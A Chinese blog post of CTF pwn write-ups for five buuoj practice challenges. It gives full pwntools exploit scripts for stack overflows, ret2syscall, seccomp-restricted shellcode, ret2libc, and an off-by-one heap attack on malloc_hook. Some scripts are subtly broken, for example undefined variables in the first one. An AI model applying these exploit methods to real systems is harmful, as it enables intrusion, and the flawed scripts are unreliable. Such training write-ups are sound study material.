buuoj Pwn writeup 51-55

51 cmcc_simplerop

保护
在这里插入图片描述在这里插入图片描述平平无奇栈溢出。

溢出长度虽然IDA里面 说v4开了0x14

在这里插入图片描述但是在gdb里面调试的时候发现ebp上面压了两个其他局部变量。

在这里插入图片描述有系统调用,可以ret2syscall。

exp

# -*- coding: utf-8 -*-
from pwn import *

context(arch='amd64', os='linux',log_level='debug')
#context.terminal=['tmux','splitw','-h']
r = remote('node3.buuoj.cn', 28515)
#r = process('./51')
libc = ELF("./32/libc-2.23.so")
elf=ELF("./51")

int_80h = 0x80493e1
pop_eax = 0x080bae06
pop_dcb = 0x0806e850
read_addr = 0x0806CD50
bss_addr = 0x80EBF79

payload = 'a' * 32 + p32(read_addr)
payload += p32(pop_dcb) + p32(0) + p32(bin_sh) + p32(0x8)
payload += p32(pop_eax) + p32(0xb)
payload += p32(pop_dcb) + p32(0) + p32(0) + p32(bin_sh)
payload += p32(int_addr)

r.recvuntil('input :')

r.sendline(payload)
r.sendline('/bin/sh\x00')
r.interactive()

52 pwnable_orw

保护
在这里插入图片描述在这里插入图片描述一看就是加了沙箱

seccomp 是 secure computing 的缩写,其是 Linux kernel 从2.6.23版本引入的一种简洁的 sandboxing 机制。在 Linux 系统里,大量的系统调用(system call)直接暴露给用户态程序。但是,并不是所有的系统调用都被需要,而且不安全的代码滥用系统调用会对系统造成安全威胁。seccomp安全机制能使一个进程进入到一种“安全”运行模式,该模式下的进程只能调用4种系统调用(system call),即 read(), write(), exit() 和 sigreturn(),否则进程便会被终止。

在这里插入图片描述
第一次调用prctl函数 ————禁止提权
第二次调用prctl函数 ————限制能执行的系统调用只有open,read,write,exit

所以我们就是通过open函数打开flag文件,然后read读取,write写出来。

exp

from pwn import *

context(os = "linux", arch = "i386", log_level= "debug")
r = remote("node3.buuoj.cn", 27008)

shellcode = asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80')
#sys_open(file,0,0)

shellcode+=asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x100;int 0x80')
#sys_read(3,file,0x100)

shellcode+=asm('mov eax,0x4;mov ebx,0x1;int 0x80')
#sys_write(1,file,0x30)

r.sendlineafter('shellcode:', shellcode)

r.interactive()

53 jarvisoj_level1

保护

在这里插入图片描述

在这里插入图片描述平平无奇栈溢出。

还输出了buf的地址。

而且没开NX,所以直接把shellcode写到栈上,再溢过去就行。

当然也可以ret2libc。
就不写了。

本地跟远程不大一样。

exp
本地

# -*- coding: utf-8 -*-
from pwn import *

context(arch='i386', os='linux',log_level='debug')
#context.terminal=['tmux','splitw','-h']
#r = remote('node3.buuoj.cn', 29837)
r = process('./53')
libc = ELF("./32/libc-2.23.so")
elf=ELF("./53")

#r.send('\n')
r.recvuntil("0x")
buf_addr = int(r.recv(8), 16)
print hex(buf_addr)

shellcode = asm(shellcraft.sh())

payload =  shellcode + 'a' * (0x88 + 0x4 - len(shellcode)) + p32(buf_addr)

r.recvuntil("?\n")
r.send(payload)

r.interactive()

远程

# -*- coding: utf-8 -*-
from pwn import *

context(arch='i386', os='linux',log_level='debug')
#context.terminal=['tmux','splitw','-h']
#r = remote('node3.buuoj.cn', 29837)
r = process('./53')
libc = ELF("./32/libc-2.23.so")
elf=ELF("./53")

main_addr=0x80484b7
write_plt=elf.plt['write']
write_got=elf.got['write']

payload ='a' * (0x88 + 0x4 ) + p32(write_plt) + p32(main_addr) +p32(0x1)+p32(write_got)+p32(0x4) 

r.send(payload)
write_addr = u32(r.recv(4))

libc_base=write_addr-libc.sym['write']

system_addr=libc_base+libc.sym['system']
bin_sh=libc_base+libc.search('/bin/sh').next()
payload ='a' * (0x88 + 0x4) + p32(system_addr) + p32(main_addr)+ p32(bin_sh)

r.send(payload)
r.interactive()

54 roarctf_2019_easy_pwn

保护
在这里插入图片描述
这个全绿有点厉害。

create
在这里插入图片描述
在这里插入图片描述他对输入的大小是有限制的。

在这里插入图片描述这个地方比较难理解
看它的汇编代码。
在这里插入图片描述以上面那个图得第一条位例
就是把那个地方里面存着的地址加上4 * i得偏移所得到的地址那个地方写上1。

write
在这里插入图片描述
在这里插入图片描述这个地方说要是后面写的大小比前面大10就会多写一个字节,就会有off by one漏洞。

drop
在这里插入图片描述show
在这里插入图片描述
drop与show都是平平无奇。

主要是那个off by one漏洞。

通过制造overlapping,然后 实际起到的效果就是chunk2能够控制,但是已经在undorted链里面了,这就跟uaf的效果一样。通过它来泄露地址,然后做fastbin_attack。
当然还是先泄露地址,然后再攻击malloc_hook吧。

# -*- coding: utf-8 -*-
from pwn import *

context(arch='i386', os='linux',log_level='debug')
#context.terminal=['tmux','splitw','-h']
r = remote('node3.buuoj.cn', 27844)
#r = process('./54')
libc = ELF("./64/libc-2.23.so")
elf=ELF("./54")

def create(size):
    r.recvuntil("choice: ")
    r.sendline("1")
    r.recvuntil("size: ")
    r.sendline(str(size))
    r.recvuntil("\n")

def write(index, size, content):
    r.recvuntil("choice: ")
    r.sendline("2")
    r.recvuntil("index: ")
    r.sendline(str(index))
    r.recvuntil("size: ")
    r.sendline(str(size))
    r.recvuntil("content: ")
    r.sendline(content)

def drop(index):
    r.recvuntil("choice: ")
    r.sendline("3")
    r.recvuntil("index: ")
    r.sendline(str(index))

def show(index):
    r.recvuntil("choice: ")
    r.sendline("4")
    r.recvuntil("index: ")
    r.sendline(str(index))

one_gadget = 0x4527a

create(0x18)
create(0x60)
create(0x60)
create(0x10)

payload = 'a' * 0x18 + '\xe1'
write(0, 0x18 + 10, payload)
drop(1)
create(0x60)

show(2)

main_arena=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-88

libc_base=main_arena-0x3c4b20
one_gadget = libc_base + one_gadget
malloc_hook = libc_base+libc.symbols['__malloc_hook']
realloc = libc_base+libc.symbols['__libc_realloc']

create(0x60)
drop(4)

payload = p64(malloc_hook - 0x23)
write(2, 8, payload)

create(0x60)

payload = 'a' * 0xb + p64(one_gadget) + p64(realloc + 13)
create(0x60)
write(5, 0x1b, payload)


r.recvuntil('choice: ')
r.sendline('1')
r.recvuntil('size: ')
r.sendline(str(0x20))

r.interactive()

这个exp可以过本地,远程可能它的libc有些问题吧,过不了,网上其它wp也都过不了。

55 picoctf_2018_buffer overflow 2

保护
在这里插入图片描述在这里插入图片描述平平无奇栈溢出。

在这里插入图片描述
满足条件溢一下就好了。

exp

# -*- coding: utf-8 -*-
from pwn import *

context(arch='i386', os='linux',log_level='debug')
#context.terminal=['tmux','splitw','-h']
r = remote('node3.buuoj.cn', 26240)
#r = process('./55')
libc = ELF("./32/libc-2.23.so")
elf=ELF("./55")

win_addr = 0x80485cb
payload = 'a' * 0x70 + p32(win_addr) +'aaaa' + p32(0x0DEADBEEF) + p32(0x0DEADC0DE)
r.sendline(payload)

r.interactive()
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值